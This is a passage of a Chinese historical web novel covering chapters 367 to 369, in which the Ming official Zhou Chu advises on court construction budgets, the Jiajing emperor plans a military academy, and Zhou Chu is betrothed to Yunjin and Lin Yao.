很多话皇帝是不好直接对臣子说的,哪怕是看上去一件很好的事,但落实下去的时候,始终是要有人经手的,层层下传,往往就变了味道,甚至截然相反,这个时候如果是皇帝说的,那么所有人都会责怪皇帝,甚至百姓都会骂皇帝是昏君。 所以皇帝和臣子之间,往往需要一个缓冲,很多看似权势滔天的人物,比如魏忠贤,比如刘瑾,其实背后都是皇帝,他们做了皇帝想做的事,比如对文官动手,做完之后,皇帝只需要处理掉他们,然后说一句朕被蒙蔽了,谁也不会说什么。 很多事皇帝直接说或者直接做,就意味着皇帝和百官之间再无缓冲,一旦出现问题,就会很难解决。 嘉靖听到这话,点了点头。 “这是道长最新炼制出来的丹药,你帮朕转送给陆家。” 嘉靖说着将几个盛放丹药的盒子推到了周楚面前。 这些丹药有杨氏的一份,还有陆松和周楚的一份。 自从前些年周楚被刺杀之后,向嘉靖讨要丹药,之后每次嘉靖让飞霞子炼丹都会给周楚多炼制一份。 这些丹药都是温补之物,用的都是极其名贵的药材,比如犀角,比如龙涎香,每一样都是极其珍贵的,即便现在不吃,留着也是救命的药,说活死人肉白骨有些夸张,但只要人还有一口气吊着,吃了这药,基本都能救回来。 有点类似于周楚上一世的那颗加了犀角的救命药,又有点像火神派的破格救心汤,但这里面的名贵药材更多,效果更好一些。 而且这种丹药不只有救命的作用,平日里经常服用的话,别的不敢说,最起码比普通人活的要长很多。 要知道如今的嘉靖可谓是财大气粗,他内帑之中的钱财具体有多少,连他自己都不清楚了,更何况这些炼制丹药的药材,大多数都是东南亚进贡的,少数几味药材才需要用钱去买。 周楚看到丹药,眼睛顿时亮了,这丹药周楚现在手上的也没几颗了,舍不得吃,这种丹药,周楚都会留存几颗,以备不时之需。 周楚回家之后,拿着丹药来到了陆府。 “婶子,这是陛下给你们的丹药。” 周楚说着将两颗丹药的盒子放在了杨氏面前。 “陛下真是有心了,不过每次都给我们两颗有点太多了,你拿去一颗吧。” 杨氏忍不住说道。 这些年,杨氏和陆松一直吃着嘉靖给的丹药,如今两人虽然都四十多了,但却丝毫不显衰老,特别是杨氏,看上去和当初刚遇到周楚之时差不了多少,像是三十出头的妇人。 吃了这几年了,杨氏自然能感觉到这丹药有多珍贵,所以每一颗都很珍惜,家里也留了一些。 “不用,陛下也给我了。” 周楚笑了笑。 杨氏听到这话,也没有继续坚持。 “陛下炼制的这些药可是好东西,之前我给云瑾吃了一颗,她之前征战多年,多少有些暗疾,现在全好了,而且皮肤都白了好多。” 杨氏有些眉飞色舞道。 一般而言,这种话,杨氏是不应该和一个男人说的,但杨氏从未把周楚当成外人,在杨氏眼里,将来周楚和云瑾迟早是要在一起的,更何况云瑾从小就跟着周楚长大,没那么多讲究。 “娘!你怎么什么话都说?” 一旁的云瑾听到这话,脸色瞬间红了。 “怎么了?衡器又不是外人,你小时候跟着他长起来的,以后你也是他的人,有什么不能说的?” 杨氏这话,其实是在点周楚,周楚进京至今,已经过去了十三年,周楚如今都二十有三了,即便是云瑾,如今也十八了,一般人家的女子,十五六岁就已经婚配了,早一些的,恐怕十三四就婚配了。 无论是云瑾,还是林瑶,实际上都过了婚配的年龄,这让杨氏心中有些着急,却又不敢和周楚直说,只能通过这种方式点一点周楚。 “婶子,我和云瑾的事,恐怕要让她受些委屈,陛下的意思想让我连林瑶一同娶了,我拖了这么些年,县主终究还是没有放弃,如今的林瑶都二十多了,都算是老姑娘了,倘若我不娶她,她恐怕会沦为笑柄。” 周楚想了想,说道。 “这事我不是早就说过了吗?陛下也说过了,可以为你单独下一道旨,都娶了就是,都算正室,云瑾你是知道的,心思从来都不在后宅之中,县主也不是那等善妒之人。” 杨氏这些年经常出入公主府,和德清公主情同姐妹,把林瑶也当成了自家后辈,对于林瑶,杨氏还是很了解的。 “只是如此一来,恐怕会委屈了云瑾。” 周楚有些愧疚地看着云瑾道。 “何来的委屈?二哥心怀天下,为大明,为天下做的事,朝中其他官员捆在一起都比不上,想当年商君的红颜知己,为了支持他变法,让他娶了秦国王室的公主,我比较自私,做不到如此,如今这般,已经是最好的结果了。” 云瑾红着脸道。 “既如此,待我与陛下商议之后,定下一个日子,向你们二人提亲。” 周楚说道。 杨氏听到这话,顿时松了口气,这么多年了,总算等到了周楚的一句准话。 ......... 另外一边,户部左等右等,既没有等来奏疏被打回来,宫中也没传来任何消息,这让张璁等人面面相觑。 “大人,陛下这是何意?难不成还觉得这个报价高了?这可没办法再往下压了,再压就出事了。” 户部侍郎面色焦急道。 “急什么?陛下没有把奏疏打回来,报价应该不高,但到现在还没有批示,肯定是有其它问题,陛下不好直言的。” 张璁为官多年,自然清楚这其中的门道,丝毫不急道。 “这事你们不用管了,本官走动走动,回头给你们消息。” 张璁说着站了起来,披上了袍服,走出了户部衙门,坐上轿子之后,回到自己的家里。 “去给周府送一份拜帖。” 张璁回到家中之后,看着自家的管家说道。 如果不是非常着急的事,都需要事先递拜帖,不然的话直接登门拜访,是一件很不礼貌的事,先不说对方家里是不是有客人,对方是否在家,万一吃了闭门羹,张璁这等身份,是要脸面的。 管家听到这话,急忙拿着张璁的拜帖,来到周府。 周楚正在家中看柳思思跳舞,春兰悄无声息地走到了周楚跟前。 “怎么了?” 周楚看着柳思思,并没有转头道。 “老爷,户部尚书张大人让人送来了拜帖。” 春兰说着将张璁的拜帖递给了周楚。 周楚打开看了看,随后放在了旁边的桌子上。 “给一份回帖,就说随时可以过来。” 这次周楚倒是没有端架子,毕竟周楚能看的出来,张璁作为户部尚书,确实是想为大明做事的,只不过方式方法不太对罢了。 春兰听到这话,顿时知道该怎么做了,悄无声息的离开了。 很快,柳思思一曲舞毕,来到周楚面前,开始给周楚捏肩捶背。 “大人,贱妾跳的舞可有进步?” 柳思思的声音温柔似水,让周楚听着很舒服。 “还不错。” 周楚点了点头。 柳思思听到这话,显得很开心,她辛苦练习了这么久的舞,为的就是周楚的这一句还不错。 “可有把你家人接回来的打算?” 周楚捏着柳思思的下巴,问道。 柳思思跟着周楚这么久了,从未对周楚提出过任何要求,这一点让周楚很是满意。 “贱妾不想,倘若将他们接回来,他们恢复了往日的身份,只会看不起贱妾,不像现在,他们都得巴结着贱妾。” 柳思思想了想,说道。 周楚听到这话,点了点头,没有再多说什么。 每个人都有自己的选择,既然柳思思这么选了,周楚也就懒得多费心,人和人之间最舒服的关系,就是从不想着干预对方的想法和选择。 前些日子,柳思思家族的人,派了一个人偷偷跑回京城,找到了柳思思,他们也不知道从哪里得到的消息,知道柳思思如今傍上了锦衣卫指挥使周楚,于是就起了心思,想让柳思思帮他们在周楚耳边说两句好话。 只要周楚点了头,他们一家子的命运就可以彻底改变。 却被柳思思拒绝了。 “你们如今不愁吃穿,那岭南虽说苦了些,但钱财我是给你们够的,周大人是什么人,你们不是不清楚,从来都是嫉恶如仇,经他手查办的案子,哪个翻案了,我于周大人而言,不过是个玩意罢了,要是摆不清自己的位置,周大人看都不会多看我一眼,真到了那个时候,你们的财路也就断了。” 柳思思这话说的可谓是极有水平,既拒绝了他们,又不会让他们因此记恨自己,对于柳思思的话,这些人思索再三,觉得很有道理,于是就断了这个念想。 周楚随手从怀中取出几张银票,递给了柳思思。 “之前大人给贱妾的钱财还有许多,大人不用一直给贱妾。” 柳思思看着银票,并没有伸手去拿。 “给你你就拿着,正所谓穷家富路,手里有钱,什么时候都有底气。” 周楚说道。 柳思思听到这话,心中很是感动,接过了银票。 “老爷,张大人来了。” 两人言语之间,春兰再次走了进来。 周楚听到这话,摆了摆手,柳思思躬身行礼之后退下了。 “下官见过周大人。” 张璁进来之后,闻到了房间内的脂粉味道,心里清楚周楚方才应该是在玩乐,教坊司帮周楚养着一个女人,这件事并非什么秘密,张璁自然是知道的。 这对周楚而言,从来都不是什么坏事,倘若周楚无欲无求,反而不好,现在这般,很多人都会觉得周楚亲近了些。 “张大人不必多礼,春兰,看茶。” 周楚看向一旁的春兰说道。 张璁端起茶杯,喝了一口。 “不知张大人所为何事?” 周楚看着张璁,问道。 “还不是因为建造真武殿一事,之前户部给陛下递了个核算成本的折子,陛下嫌高,打回来让我们重新核算,周大人是知道的,下官一直对陛下,对大人都是忠心耿耿的。” 张璁不着痕迹地表了一下忠心道。 “因为这事将户部的那些官员狠狠骂了一顿,他们都被本官骂醒了,重新核算之后把折子递了上去,这都好几日了,陛下既没有打回折子,也没有任何批示,这让下官百思不得其解。” 张璁很清楚,如果说有谁知道陛下的想法,周大人肯定是其中一个,所以他才来拜访周楚。 “张大人递的两个折子本官都看过了,看得出来,张大人确实是真心实意的想为朝廷做事。” 周楚喝了口茶,不疾不徐道。 张璁听到这话,眼睛顿时亮了,这意味着这次自己没有白来。 “还望大人指点迷津。” 张璁行礼道。 第367章 大明军事学院,周楚定亲 第367章 大明军事学院,周楚定亲 “真要说起来,也没那么复杂,张大人好好想想,真要按你们说的这个报价去执行的话,其中是不是几乎没什么利润了?” 周楚看着张璁,满含深意道。 “没什么利润不更好吗?这样才能为朝廷节省开支。” 张璁有些不解道。 周楚听到这话,却是摇了摇头。 “没了利润,榨那些工人的工钱,还会从其他地方挤压出利润来,没有利润的工程,往往到最后都会出大问题。” 听到这话,张璁顿时恍然大悟。 “多谢大人提醒,下官明白了。” 张璁站了起来,躬身行礼道。 有了周楚的提点,张璁顿时明白问题出在了哪里,他回到户部衙门,让户部的官员重新拟了一个核算成本的折子,不过这次核算出来的成本比之前高一些,是第一个奏疏的八成左右,如此一来,这个工程既能有利润,又不会太高。 很快,这个折子被递到了嘉靖面前,嘉靖看到了心中预想的成本,很快就给了批复,将这个奏疏送到了内阁,让内阁拟票。 原本不应该是这样的流程,户部应该先把奏疏送到内阁,内阁先预审,内阁通过了,再送到嘉靖面前,内阁说白了是皇帝的秘书班子,但在之前的那些个皇帝在位期间,内阁却大权在握,甚至能威胁到皇权。 这不是嘉靖想要看到的,所以一般的小事,先经过内阁,像之前建铁路和现在的建设真武殿,这种奏疏都是先送到嘉靖面前,由嘉靖先拿主意,再送到内阁。 毕竟现在嘉靖大权在握,没人会提出反对意见。 除了真武殿之外,还有另外一个项目,嘉靖也在悄悄立项,不是别的,正是大明军事学院,军事学院的事,周楚一年多以前就跟嘉靖提过,不过这一年多嘉靖的主要精力都放在了铁路的修建和对叶尔羌汗国用兵上。 事有轻重缓急,此时已经彻底征服了叶尔羌汗国,嘉靖才抽出功夫来开始研究军事学院的事。 毕竟以后大明会常年对外用兵,如今大明的可用将领还是太少了些,周楚、林鹿和云瑾,至于其他人,都上不得台面,只有胡宗宪和赵贞吉这两个周楚的学生让嘉靖眼前一亮。 这么一算,大明如今上的了台面的将领,包括林鹿和陆云瑾,都是周衡器一手培养起来的。 这让嘉靖认识到了周楚在培养军事将领方面的能力,就想着将军事学院的事提上日程,按照周楚的说法,军事学院成立之后,嘉靖亲自出任院长,如此一来就可以保证培养出来的将领对嘉靖的绝对忠心。 这个提议很是合嘉靖的心意,原本他还担心这些将领都是周楚或者周楚的学生培养出来的,将来唯周楚马首是瞻呢,如果自己当了院长的话,偶尔去参与一下教学,自己又是皇帝,将来培养出来的将领肯定对自己无比忠心。 军事学院的建设,嘉靖不准备通过内阁和户部,军事学院的建立倘若通过朝堂商议的话,问题会很大,恐怕文武百官,甚至原本的那些武将都会强烈反对,毕竟一旦让周衡器执教军事学院,将来这位锦衣卫指挥使的地位就算是固若金汤了,等军事学院的这批学生成长起来,再无人可以撼动周楚的地位,这是其他人无法容忍的。 这一点嘉靖也是考虑过的,所以军事学院的事情才会一拖再拖,任何事都是一体两面的,有利有弊,原本嘉靖还有些犹豫不决,但当周楚和嘉靖商议和林瑶以及云瑾的婚事之后,嘉靖的顾虑少了大半,直接准备着手建立军事学院。 至于建设军事学院的钱,嘉靖准备从自己的内帑之中出,最多也就是花个一两百万两,这点钱对现在的嘉靖而言,不过是九牛一毛罢了。 真武殿和军事学院几乎是同步进行的,不同的是,这两个一个是朝廷的工程,另外一个则是嘉靖自己的工程,如今的嘉靖动用自己的内帑,没人会说什么,也没人敢说什么。 军事学院初建,很多人都是知道的,只是并不清楚这里建设的是一个军事学院,更不清楚将来在学院之中任教的会是锦衣卫指挥使周楚。 倘若这个消息流传出去,恐怕朝堂之上会有无数人反对,当然,这些人不是反对军事学院的建设,毕竟军事学院的成立对大明很有利,他们反对的只是周楚单独任教,很多人都会想方设法进入军事学院。 无论是出于进入真武殿的考虑,还是出于未来身份地位的考虑,进入军事学院对很多人而言都极为重要。 真武殿和军事学院的建设如火如荼,周楚却是在准备自己的终身大事,周楚让人备了两倍厚礼,定好了日子,准备先后向云瑾和林瑶提亲。 无论是陆家,亦或是公主府,都为自己的女儿备了丰厚的嫁妆,原本论家底,陆家是不如公主府的,毕竟德清公主靠着云桂坊这些年赚了不知道多少钱了。 如果公主府想要压陆家一头,大可以将林瑶的嫁妆准备的无比丰厚,甚至价值超过百万两,如此一来,嫁妆上林瑶肯定能压云瑾一头。 但德清公主从来都是通情达理之人,更何况她和杨氏的感情极好,定亲之前,德清公主特意将杨氏请到了公主府,两人共同商议,出什么规格的嫁妆。 “我们陆家看着风光,其实没多少钱财,满打满算也就能拿出四五十万两。” 杨氏叹了口气道。 倒也不是陆炳多么清廉,身为皇帝的发小,又数次救了嘉靖的命,陆炳稍微捞点钱,没人会说什么,毕竟原本的历史上,陆炳的身价可是无比丰厚的,徐阶一家靠着吃陆炳的绝户,一波肥了。 不过如今朝廷的局势和周楚原本的历史上可完全不同,如今朝廷清明,陆炳对于钱财也没什么太大的概念,没有刻意去捞,他明白自己应该跟着陛下和衡器走,所以如今的陆家,满打满算也就几十万两白银。 这还是之前抄家的时候,周楚每次都让人分给陆炳一些。 杨氏说的四五十万两的嫁妆,基本能把陆府掏空了,不过即便如此,杨氏也不想委屈了云瑾,毕竟云瑾嫁的不是别人,是周楚,自己这个当娘的,还有陆炳这个当大哥的,都希望给云瑾最好的。 这些钱也是陆炳主动拿出来的。 “娘,用不着你们出钱,我有钱。” 一旁的云瑾听到这话,这才想起,自己的钱财好像从未外露过,就连自己的家人都不知道自己有多少钱。 “你这孩子,你能有多少钱?” 杨氏叹了口气道。 “我的钱可多了,之前二哥将醉仙楼放在了我的名下,如今虽然不在我名下了,但那几年赚的钱可都在我这,可多了,还有之前在海上剿匪,一般缴获的钱财,我都会拿出一部分充当军费,也会拿出一少部分,留给自己,多的不说,我现在五六百万两是有的。” 云瑾仔细算了算,实在算不出自己有多少钱,于是往保守了说。 云瑾在被册封为镇北大将军之前,醉仙楼一直都在她的名下,这么多年,不知道为她赚了多少钱,这部分钱,周楚一分都没拿,都给了云瑾。 杨氏和德清公主听到这话,都瞪大了双眼。 “多少?” 随即杨氏反应了过来,满脸担忧的看着云瑾。 “那些缴获的钱财,不应该全部上交给朝廷,上交给陛下吗?你私自扣留,陛下知道了恐怕会很生气。” 云瑾听到这话,笑了笑。 “那有什么,陛下早就知道了,陛下为人大度,不会计较这么点钱的,而且我的钱大部分都是醉仙楼赚的,截留的钱财也就一百万两左右。” 云瑾还有一句话没说,实际上这些钱是周楚交代她让她拿的,一个拿钱的将军,会更让皇帝放心。 不过这话当着德清公主的面,是不能直接说的。 “既然云瑾这么有钱,我们两家就一家出一百万两的嫁妆吧,你们看如何?” 德清公主这次也算是出了血本了,女子嫁过去之后,最大的底气就是来自自己的嫁妆,即便是婆家苛待,有这么丰厚的嫁妆握在手里,也不会吃苦受罪。 不过这都是相对于一般人而言的,周楚最不缺的就是钱,周楚孑然一身,也没有所谓的婆家,无论是德清公主还是杨氏都不担心将来林瑶和云瑾会吃什么苦。 之所以备这么丰厚的嫁妆,一方面是为了匹配周楚的身份和身价,另外一方面,也是为了彰显两家的地位和实力。 毕竟他们两家,一个是公主府,林瑶的大哥林鹿更是侯爷加大将军,陆家也不差,陆炳也被封侯了,还是皇帝身边的近臣,荣宠在身,云瑾自己本身就是镇北大将军。 两家这等身份,嫁妆自然不能差了。 “全听姐姐的。” 杨氏此时再无忧虑,她第一次知道云瑾这么有钱,腰杆子也硬了,听到德清公主这话,内心丝毫不怂,说道。 “那就这么定了,回头我让云桂坊准备上等的丝绸布料首饰,给你们送过去。” 德清公主拍板道。 很快,就到了周楚定亲的日子,周楚先去陆家定亲,后面一天再去公主府定亲,对于这一点,德清公主和林瑶都没什么意见,毕竟凡事讲究个先来后到,林瑶能够得偿所愿,这些天激动的半夜都睡不着觉,哪还会计较这些。 定亲的这一天,周楚骑着乌骓马,乌骓马头上系着红绳和绣球,后面跟着浩浩荡荡的车队,马车上面装的都是一箱箱上好的珠宝首饰,箱子全都是打开的,为的就是让围观的百姓看到里面有什么。 周楚定亲,惊动了整个京城,无数百姓都来围观,看着马车上那一箱箱的财物,所有人都被晃瞎了眼。 “周大人怎么会如此有钱,难道....” 一个围观的百姓看着这么多的钱财,忍不住说道。 “说什么屁话?周大人成为锦衣卫指挥使之前就很有钱了,醉仙楼本就是他的,这云桂坊也是他的,你想想这云桂坊赚了多少钱了?” 旁边他的好友满脸不屑地看着此人说道。 “你们孤陋寡闻了吧?黎星若听说过吧?” 一旁的另一个人卖弄道。 “当然听说过,大明第一传奇女商人嘛,这谁不知道。” 之前那人说道。 “据我一个朋友所说,当初黎星若在苏州府,就是跟在周大人身边的,你们忘了黎星若主要经营的是什么?糖霜、味精还有琉璃器,当初醉仙楼开张的时候,用的都是最顶级的琉璃器,最好的糖霜,你们还不明白吗?” 此人摇头晃脑道。 旁边几人听到这话,顿时恍然大悟。 “黎星若是替周大人经营的生意!” “对喽!” “嘶!” ..... 众人想通这一点,忍不住倒吸了一口凉气,如果真是这样的话,他们都不敢想象,周大人到底有多少钱。 “你们看那一箱,全都是上等的珍珠,每一颗最少价值一两千两,整整摆满了一箱啊,那得多少钱?” 此时一辆马车从几人身旁驶过,众人差点被那整整一箱子珍珠晃瞎了双眼。 “云桂坊嘛,不奇怪,众所周知,云桂坊的珍珠是市面上最好的,我听说云桂坊养了很多采珠女,专门为他们采集珍珠,不过能凑齐这么一大箱这么顶级的珍珠,不知道要多少采珠女下海。” 这人叹了口气道。 “也不能这么说,东海那边的采珠女一向都很惨,但云桂坊对她们很好的,我听说云桂坊养了很多采珠女,并不会一直让一个采珠女一直下海,给她们的钱财也多,我一个侄子就在云桂坊的布庄干活,云桂坊给的工钱要比其他地方给的多很多,而且平日里吃的都是极好的,顿顿有肉。” 另一个人反驳道。 “那倒也是,云桂坊在京城是出了名的仁义,能进云桂坊布庄干活的,没有一个不夸云桂坊的,你们有没有门路,我也想把我家那个安排进去。” “别想了,现在云桂坊布庄是一个萝卜一个坑,谁也不傻,会放弃这么好的活。” ....... 周楚却不管这些人说什么,骑着马带着这些财物,绕了京城一圈,毕竟周府和陆府就挨着,不能直接从这门进那门,按照规矩,周楚需要从反方向,绕京城一圈之后,再进入陆府。 第368章 周楚的定亲仪式,嘉靖到来 第368章 周楚的定亲仪式,嘉靖到来 周楚定亲的这一日,孙娇娇、韩鸢儿联袂来到了周府门口,一起围观,如今的两女早已没了年少时的青涩,脸上多了一丝雍容华贵,毕竟两女也都是醉仙楼的最初股东之一。 作为周楚开醉仙楼的合伙人,也是最初给周楚站台撑腰的存在,周楚一直从没想过收回两家的股份。 不过无论是孙娇娇的爹孙弘,亦或是韩鸢儿的爹韩玠,都因为他们的女儿获益极大,这些年仕途上面可谓是青云直上,于是孙弘和韩玠纷纷让自己的女儿主动跟周楚提出大幅度减少醉仙楼的股份,变相向周楚示好。 对于这两家的这种行为,周楚倒是没反对,醉仙楼赚多少钱周楚不怎么在乎,不过当时醉仙楼在云瑾名下,减少这两家的股份,等于云瑾多赚一些。 无论是孙家,亦或是韩家,周楚都自认完全对得起他们,孙弘如今因为周楚的原因,虽然周楚从未提过,却仍然被嘉靖注意到了,有意无意的提拔之下,如今已经是吏部侍郎,正三品的官职,在韩玠手下做事。 至于韩玠,在吏部深耕多年,成绩斐然,他和张璁都是嘉靖心中的储相人选,只等内阁有了位置之后,这两人入阁就是水到渠成的事。 如今的严嵩也早就真正的江南省巡抚,如今正眼巴巴的看着有没有机会能调回京城,严嵩很清楚,自己在江南虽然大权在握,却已经到顶了,想要更进一步,甚至入阁,只有进京才有可能。 孙娇娇带着自己的大儿子,如今她的大儿子已经十岁了,韩鸢儿也带着自己的儿子,韩鸢儿成婚比孙娇娇晚不少,大儿子如今才八岁。 “周大人终于定亲了,我听说县主等了周大人好多年,如今也算是功德圆满了。” 孙娇娇的轿子之中,韩鸢儿和孙娇娇两人一边撩开旁边的轿帘往外看,一边说着话。 韩玠是正二品的吏部尚书,按照规制可以坐八抬大轿,韩鸢儿作为韩玠的女儿,已经出嫁了,坐个八抬的轿子虽然有些不合规制,但关于轿子的规制问题,也就在洪武永乐年间严格一些,后面慢慢就宽松了。 很多商人出门,为了排面,都坐的是八抬的轿子,只要不是十六抬或者三十二抬的轿子,就不会引起什么注意。 十六抬或者三十二抬的轿子在京城就太扎眼了,一旦出现,很容易引人注意,但八抬的则要小不少,京城之中八抬轿子极为常见。 八抬的轿子也不算小了,最起码孙娇娇和韩鸢儿两人带着孩子坐在里面丝毫不显拥挤。 “可惜若曦了。” 孙娇娇叹了口气。 若曦正是楚璃的字,楚璃作为两人的闺中好友,每次回京都要和两人聚一聚。 “可惜什么呀?她也算是得偿所愿了,你是不知道....” 韩鸢儿贴在孙娇娇耳边耳语一番,听的孙娇娇面红耳赤。 “她这么大胆?” 孙娇娇有些不可置信道。 “那可不?她是什么人?大明传奇女商人,什么阵仗没经历过,可不像我们整日待在后宅之中。” 韩鸢儿笑道。 听到这话,孙娇娇叹了口气,当初她之所以喜欢周楚,对周楚言听计从,除了周楚的外貌和能力之外,还有一个重要的原因,那就是周楚偶尔会说一些让她们耳目一新的观点。 比如女人不该困于内宅之中,应该有自己的一番天地,比如周楚一直在教云瑾兵法,周楚的种种做法,让孙娇娇能明显的感受到,这个比她小几岁的男孩对待她的态度和其他人不一样。 当时孙娇娇很喜欢周楚的这种态度,但那时候孙娇娇年轻,想不明白为何喜欢,如今到了这个年纪,孙娇娇彻底想通了。 那是因为周楚从未想过让她们困于后宅之中,所以后来周楚找她们一起合伙开了醉仙楼,而醉仙楼,也是她们成婚之后的最大资本,哪怕出嫁了,她们手握醉仙楼的股份和大量钱财,整个婆家都要看她们的脸色。 孙娇娇和韩鸢儿都很清楚,正因为自己结识了周楚,命运才会发生如此大的改变,否则他们的爹不会到如今的位置,她们在婆家也不会像现在当家做主。 “我当初就没有若曦那等勇气。” 孙娇娇呢喃道。 “谁又能有呢?若曦若不是家破人亡,恐怕也早就找个人家嫁了,楚家当初被灭门,让若曦没了顾虑。” 韩鸢儿笑道。 “是啊,谁又能有呢,毕竟我们不是县主。” 孙娇娇感慨道。 周楚骑着马绕了京城一圈之后,来到了陆府大门口,周楚这次提亲,让唐伯虎夫妇充当了自家长辈,对此,唐伯虎自然是欣然应允。 毕竟无论是周楚还是云瑾都是他的学生,以他和德清公主的关系,林瑶也算是他的半个晚辈了,没人比他更合适了。 周楚的这次定亲,实际上是把定聘和纳征合在一起了,一般都是先定聘,定聘分为送定帖,也就是婚书,同时送小定礼,纳征则相当于后世的过大礼。 像周楚这样小礼和大礼合二为一的也不在少数,完全是合规矩的。 随着一箱箱大小礼被抬入陆府,杨氏和陆松夫妇笑的合不拢嘴,他们高兴的不是这些彩礼,而是自己的女儿终于和衡器修成正果了,从很多年前,他们就一直盼着这一天的到来,如今终于盼到了。 “你小子以后可要好好待云瑾,不然我饶不了你。” 唐伯虎作为周楚这边的家长,笑骂道。 这话是说给陆松夫妇说的。 “衡器是什么样的人,我们比谁都清楚,他绝对不会亏待云瑾的,你们准备什么时候要个孩子?” 杨氏拉着云瑾的手,看着周楚问道。 这话问的云瑾又是一个大脸红。 “娘,我们还没成婚呢。” 云瑾羞恼道。 “这都定亲了,成婚也就是下个月的事,要孩子的事自然是要提上日程的,这有什么好害羞的?” 杨氏理直气壮道。 为了避免夜长梦多,嘉靖的意思是让周楚尽快完婚,杨氏和德清公主也都是这个意思,两人商议之后,找人算了黄道吉日,把婚期定在了下个月。 一般定亲之后,还要等上个大半年,甚至一两年才会成婚,但周楚的情况和一般人不一样,如今林瑶都二十多了,云瑾也十八了,两家都等不起了,也害怕再等下去出什么变故,以免夜长梦多,干脆快刀斩乱麻。 “没错,趁着年轻赶紧要个孩子。” 芸娘在一旁附和道。 “这么热闹?” 一个声音响起,穿着常服的嘉靖出现在了众人的视野之中。 嘉靖身为皇帝,想要亲自看一看周楚的定亲过程,但他如果以皇帝的身份出来,显然有些不合适,于是就换上了一套道袍,带着黄锦等人来到了陆家。 陆家的门房是认识嘉靖的,毕竟当初陆炜大婚的时候,嘉靖可是来过陆家,见到皇帝到来,门房都吓坏了,哪里敢阻拦。 “拜见陛下。” 众人看到嘉靖到来,急忙行礼道。 “不用多礼,今日朕不是以皇帝的身份来的,而是以云瑾兄长的身份来的。” 嘉靖笑着说道。 陆松和杨氏急忙将大厅之中的主位让了出来,嘉靖也不客气,撩起后摆就坐下了。 “都坐吧,站着像什么样子?” 嘉靖虚按了按双手道。 杨氏和陆松坐在了嘉靖下首位,唐伯虎和芸娘次之,周楚和云瑾以及陆炳还有陆炜夫妇则没有坐的资格。 因为今日是定亲,无论按照礼制还是辈分,都没有他们坐的份。 “衡器,这么多年了,朕就时常在想,你什么时候会成婚,你的终身大事不解决,始终是朕的一块心病,如今也算是得偿所愿了。” 嘉靖看着周楚,笑道。 “有劳陛下挂怀了。” 周楚行礼道。 “这是飞霞子道长托朕带给你的,说是祝贺你定亲。” 嘉靖说着拿出一个檀木的盒子,让黄锦递给了周楚,周楚接过盒子,打开看了看,发现是一盒丹药,有十几颗。 “没想到飞霞子道长还记挂着臣。” 周楚有些感慨道。 “当然记挂了,这些年,道长和朕讨论的最多的便是你,道长说过,这京城和大明的气象,因为你一人而改变,朕的命数,以及道长的命数都因为你改变了。” 嘉靖喝了口茶道。 周楚听到这话,心中微惊,没想到飞霞子道长的道行这么高深,这些东西都能看得出来。 嘉靖自然也看到了周楚的表情。 “当时朕的表情和你差不多,道长说他原本给自己测算过命数,按照原本的命数,道长早在三年前就该羽化了,但自从认识你之后,命数就发生了变化,这些年道长在皇宫之中帮朕炼丹,吃了那些丹药,也算是延年益寿了,按道长的说法,他再活个几年没问题。” 嘉靖解释道。 “道长能在皇宫之中待得住,也是难得。” 周楚不由得想起当初第一次见到飞霞子的时候,那时候的飞霞子云游四方,受自己所托,才进入皇宫之中,没想到在皇宫一待就是这么多年。 “道长说过,他即便是穷尽毕生之力,能救的人也很有限,但只要帮你,你能挽救大明无数百姓,于他而言,也是一份大功德,这一点倒是没有说错。” 嘉靖笑道。 说完这些,嘉靖看向了一旁的唐伯虎。 “唐解元,当初科举舞弊案,皇兄处理的很不妥当,让唐解元蒙受不白之冤,朕已经让衡器给你平反了,唐解元倘若有入仕的打算,可以和朕说,就按当初的科举成绩,无需再考。” 嘉靖这话,很有诚意,即便唐伯虎尝遍了世间的辛酸,听到这话,心中也很是感动。 “多谢陛下,在下已经没了当初的雄心壮志,更何况我的性格,实在不适合入仕,如今这般就很好,在下也很满意了。” 唐伯虎站了起来,真心实意的向嘉靖行礼道。 嘉靖听到这话,点了点头。 “既如此,朕也不好勉强,不知唐解元能否为朕作一幅画,朕的御书房之中还缺一幅。” 嘉靖说这话,无非是想帮唐伯虎抬高身价罢了,倘若他这个皇帝都收藏唐伯虎的话,那么唐伯虎画作的价值将会得到进一步的飙升,相信用不了多久,无数人都会抢着收藏唐伯虎的画。 这种事在历史上并不罕见,在唐朝之前,王羲之的字其实并不像后世那般出名,就是因为李世民极为崇拜王羲之,为了弄到兰亭集序,可谓是用尽了手段,有了李世民的背书,王羲之的名气还有字的珍贵程度直线飙升。 唐伯虎自然是明白这个道理的,顿感受宠若惊。 “在下定当竭尽全力。” 唐伯虎行礼道。 嘉靖听到这话,点了点头,随后看向了杨氏和陆松。 “阿母,朕给你们的那些丹药,你们不要节省,要时时吃,那些丹药都是朕让道长用名贵药材炼制的,可以延年益寿。” “陛下能这般记挂妾身,妾身不知道该说什么好,陛下也要保重身体,妾身记得陛下小时候身体不是很好。” 杨氏听到这话,抹了抹眼泪道。 “朕年少时身子骨确实不怎么好,不过如今已经调理的差不多了,阿母不必担忧。” 嘉靖安慰道。 “云瑾,朕是跟着阿母长大的,你也算是朕的妹妹了,如今眼看着你要出嫁了,朕特意让人做了一套金丝楠木的家具,还有一箱首饰,回头等你出嫁的时候,一同放在嫁妆之中。” 嘉靖看着云瑾,说道。 金丝楠木在明朝有着特殊的意义,又被称为帝王之木,为皇家御用,这个时代,黄花梨和紫檀的珍贵程度,是远远比不上金丝楠木的。 “多谢陛下。” 云瑾行礼道。 “今日朕前来,就是想吃你们俩的定亲宴,朕盼这一天,盼了很久了。” 嘉靖感慨道。 “是啊,陛下等这一天,可不是一天两天了,陛下经常问我,说衡器什么时候才能成婚。” 一旁的陆炳忍不住说道。 第369章 真武殿的排名,军事学院的草创 第369章 真武殿的排名,军事学院的草创 次日,当周楚再次带着同样的定亲礼,直奔公主府的时候,京城的百姓都傻眼了。 “什么情况?我记得周大人昨日不是才和陆家定亲吗?今天这又是唱的哪一出?” 围观的百姓看的一脸懵,完全不懂周楚这是什么操作。 “这你们就不知道了吧?陛下特意为周大人下了一道旨赐婚的,让周大人同时娶陆家千金和县主,都是正室,没有平妻。” 一个围观的富商,显然知道的多一些,显摆道。 “还有这好事?陆家的小姐,可是镇北大将军啊,县主身份也非同一般,周大人居然可以享受齐人之福,真是.....” 另一人说着说着词穷了,不知道该如何表达自己的羡慕之情。 “羡慕吧?你也不看周大人什么身份?锦衣卫指挥使,左柱国,光禄大夫,国公,如今的朝堂上,周大人不说权倾朝野,但也荣宠至极,据说这还是公主府和县主一直找陛下争取的结果,否则周大人也不会这么晚才定亲。” 富商说道。 